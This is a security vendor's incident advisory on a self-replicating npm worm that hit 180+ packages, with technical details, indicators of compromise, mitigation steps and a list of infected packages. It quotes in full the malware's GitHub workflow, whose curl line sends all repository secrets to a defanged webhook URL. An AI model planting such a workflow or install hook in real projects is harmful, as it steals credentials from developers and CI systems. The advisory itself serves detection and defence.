⚠️ This is an ongoing incident: This supply chain attack is still unfolding. Our immediate priority is supporting customers with clear communication and actionable guidance. As it stands, no Endor Labs customers have been affected. In the interest of extra caution, our engineering team has suspended any use of npm install until further notice for all our internal systems and developers laptops. We will continue to update this post as new details and mitigation steps become available.
TL;DR
Starting Sep 15, several packages with malicious code have been published on npm, including packages from Crowdstrike and the popular npm package @ctrl/tinycolor, which has millions of downloads. So far, more than 180 packages have been identified.
What makes this supply chain attack different from previous ones is that the code spreads like a virus to other packages–which get published on npm using the npm credentials of compromised developers.
The spreading of the virus is still on-going, and organizations should take immediate actions to prevent being infected.
At the time of writing, not all of the malicious packages have been taken down, i.e. there is imminent risk of being infected by the malware.
Technical Details
The malicious code of infected packages is contained in the Webpack-minified script bundle.js
, as large as 3.7 MB and automatically executed using an installation hook. At high-level, the script comprises two main functionalities:
- It searches for and exfiltrates secrets both on the infected system and GitHub repositories associated with compromised developers.
- It replicates itself in other npm packages maintained by compromised developers.
The search for secrets on the developer system is done by dumping environment variables, which is pretty common for malicious packages. More interestingly, it also downloads and runs Trufflehog, a well-known secret scanner, to search for credentials.
In order to search for secrets on GitHub, it uses a GitHub personal access token (PAT) to enumerate repositories that meet certain criteria, and create a workflow file .github/workflows/shai-hulud-workflow.yml
in each one of them in a new branch called shai-hulud
. This workflow file uses the built-in function toJSON to capture all repository secrets in the environment variable CONTENTS, which is extracted to a Webhook. The complete workflow file looks as follows (with the Webhook URL being escaped).
on:
push:
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Data Processing
run: curl -d "$CONTENTS" https[://]webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
env:
CONTENTS: ${{ toJSON(secrets) }}
The replication logic of the virus takes advantage of valid npm tokens present on the infected system in order to download other packages of the maintainer, add the malicious payload and upload a new compromised version to npm.
This approach helps spread malware across the whole npm ecosystem–a scenario that was described as early as 2016.
Mitigation
The blast radius of this supply chain attack is yet unknown, and it will take some time to identify and remove all the infected versions from the registry.
Packages and package versions identified so far are mentioned in the section below, and will be updated on a regular basis.
To protect your developers and CI/CD systems from downloading and executing the malware, you can:
- Make sure that your npm applications use lockfiles pinned to known-good versions.
- Clean caches on developer systems and in internal registries.
- Use cooldown options where available, which prevent upgrading to (or downloading) versions that have been published in the last few days (see the corresponding announcement for Dependabot).
- Aggressive/Minimize Security Risk: Stop all usage of npm in CI/CD pipelines and notify developers about the risks.
To understand whether you have been compromised, you can:
- Search the local filesystem for package-lock.json files that reference any of the infected package versions (see below for a full list).
- Search logs for any of the following IoCs:
https[://]webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
- SHA-256 of
bundle.js: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
If you publish npm packages on public or private registries, you can detect / prevent the spreading of the virus:
- Search logs and registries to understand whether new package versions have been published after Sep 15, 00:00 UTC.
- If yes, check whether the package deviates suspiciously from previous versions, e.g., in terms of build attestations, the presence of matching version tags in the corresponding Git repository, etc.
- The tarballs of published packages can be checked as follows for malicious code:
- Does
package.json
contain an install hook“postinstall": "node bundle.js”
? - Does the file
bundle.js
exist in the root directory of the tarball, with the SHA-256 indicated above?
- Does
- As an aggressive approach to minimize security risk, restrict the publication of new packages, e.g., by temporarily revoking publishing permissions from npm teams or npm accounts.
List of compromised packages
The following table contains a list of 189 known-infected packages:
@ahmedhfarag/ngx-perfect-scrollbar
@ahmedhfarag/ngx-virtual-scroller
@art-ws/common
@art-ws/config-eslint
@art-ws/config-ts
@art-ws/db-context
@art-ws/di
@art-ws/di-node
@art-ws/eslint
@art-ws/fastify-http-server
@art-ws/http-server
@art-ws/openapi
@art-ws/package-base
@art-ws/prettier
@art-ws/slf
@art-ws/ssl-info
@art-ws/web-app
@crowdstrike/commitlint
@crowdstrike/falcon-shoelace
@crowdstrike/foundry-js
@crowdstrike/glide-core
@crowdstrike/logscale-dashboard
@crowdstrike/logscale-file-editor
@crowdstrike/logscale-parser-edit
@crowdstrike/logscale-search
@crowdstrike/tailwind-toucan-base
@ctrl/deluge: 7.2.2
@ctrl/golang-template: 1.4.3
@ctrl/magnet-link: 4.0.4
@ctrl/ngx-codemirror: 7.0.2
@ctrl/ngx-csv: 6.0.2
@ctrl/ngx-emoji-mart: 9.2.2
@ctrl/ngx-rightclick: 4.0.2
@ctrl/qbittorrent: 9.7.2
@ctrl/react-adsense: 2.0.2
@ctrl/shared-torrent: 6.3.2
@ctrl/tinycolor: 4.1.1, @4.1.2
@ctrl/torrent-file: 4.1.2
@ctrl/transmission: 7.3.1
@ctrl/ts-base32: 4.0.2
@hestjs/core
@hestjs/cqrs
@hestjs/demo
@hestjs/eslint-config
@hestjs/logger
@hestjs/scalar
@hestjs/validation
@nativescript-community/arraybuffers
@nativescript-community/gesturehandler: 2.0.35
@nativescript-community/perms
@nativescript-community/sentry 4.6.43
@nativescript-community/sqlite
@nativescript-community/text: 1.6.13
@nativescript-community/typeorm
@nativescript-community/ui-collectionview: 6.0.6
@nativescript-community/ui-document-picker
@nativescript-community/ui-drawer: 0.1.30
@nativescript-community/ui-image: 4.5.6
@nativescript-community/ui-label
@nativescript-community/ui-material-bottom-navigation
@nativescript-community/ui-material-bottomsheet: 7.2.72
@nativescript-community/ui-material-core: 7.2.76
@nativescript-community/ui-material-core-tabs: 7.2.76
@nativescript-community/ui-material-ripple
@nativescript-community/ui-material-tabs
@nativescript-community/ui-pager
@nativescript-community/ui-pulltorefresh
@nexe/config-manager
@nexe/eslint-config
@nexe/logger
@nstudio/angular
@nstudio/focus
@nstudio/nativescript-checkbox
@nstudio/nativescript-loading-indicator
@nstudio/ui-collectionview
@nstudio/web
@nstudio/web-angular
@nstudio/xplat
@nstudio/xplat-utils
@operato/board
@operato/data-grist
@operato/graphql
@operato/headroom
@operato/help
@operato/i18n
@operato/input
@operato/layout
@operato/popup
@operato/pull-to-refresh
@operato/shell
@operato/styles
@operato/utils
@teselagen/bounce-loader
@teselagen/liquibase-tools
@teselagen/range-utils
@teselagen/react-list
@teselagen/react-table
@thangved/callback-window
@things-factory/attachment-base
@things-factory/auth-base
@things-factory/email-base
@things-factory/env
@things-factory/integration-base
@things-factory/integration-marketplace
@things-factory/shell
@tnf-dev/api
@tnf-dev/core
@tnf-dev/js
@tnf-dev/mui
@tnf-dev/react
@ui-ux-gang/devextreme-angular-rpk
@yoobic/design-system
@yoobic/jpeg-camera-es6
@yoobic/yobi
airchief
airpilot
angulartics2: 14.1.2
browser-webdriver-downloader
capacitor-notificationhandler
capacitor-plugin-healthapp
capacitor-plugin-ihealth
capacitor-plugin-vonage
capacitorandroidpermissions
config-cordova
cordova-plugin-voxeet2
cordova-voxeet
create-hest-app
db-evo
devextreme-angular-rpk
ember-browser-services
ember-headless-form
ember-headless-form-yup
ember-headless-table
ember-url-hash-polyfill
ember-velcro
encounter-playground: 0.0.5
eslint-config-crowdstrike
eslint-config-crowdstrike-node
eslint-config-teselagen
globalize-rpk
graphql-sequelize-teselagen
html-to-base64-image
json-rules-engine-simplified: 0.2.4, 0.2.1
jumpgate
koa2-swagger-ui: 5.11.2, 5.11.1
mcfly-semantic-release
mcp-knowledge-base
mcp-knowledge-graph
mobioffice-cli
monorepo-next
mstate-angular
mstate-cli
mstate-dev-react
mstate-react
ng2-file-upload
ngx-bootstrap
ngx-color: 10.0.2
ngx-toastr: 19.0.2
ngx-trend: 8.0.1
ngx-ws
oradm-to-gql
oradm-to-sqlz
ove-auto-annotate
pm2-gelf-json
printjs-rpk
react-complaint-image: 0.0.35
react-jsonschema-form-conditionals: 0.3.21
react-jsonschema-form-extras: 1.0.4
remark-preset-lint-crowdstrike
rxnt-authentication: 0.0.6
rxnt-healthchecks-nestjs: 1.0.5
rxnt-kue: 1.0.7
swc-plugin-component-annotate: 1.9.2
tbssnch
teselagen-interval-tree
tg-client-query-builder
tg-redbird
tg-seq-gen
thangved-react-grid
ts-gaussian: 3.0.6
ts-imports
tvi-cli
ve-bamreader
ve-editor
verror-extra
voip-callkit
wdio-web-reporter
yargs-help-output
yoo-styles



What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help: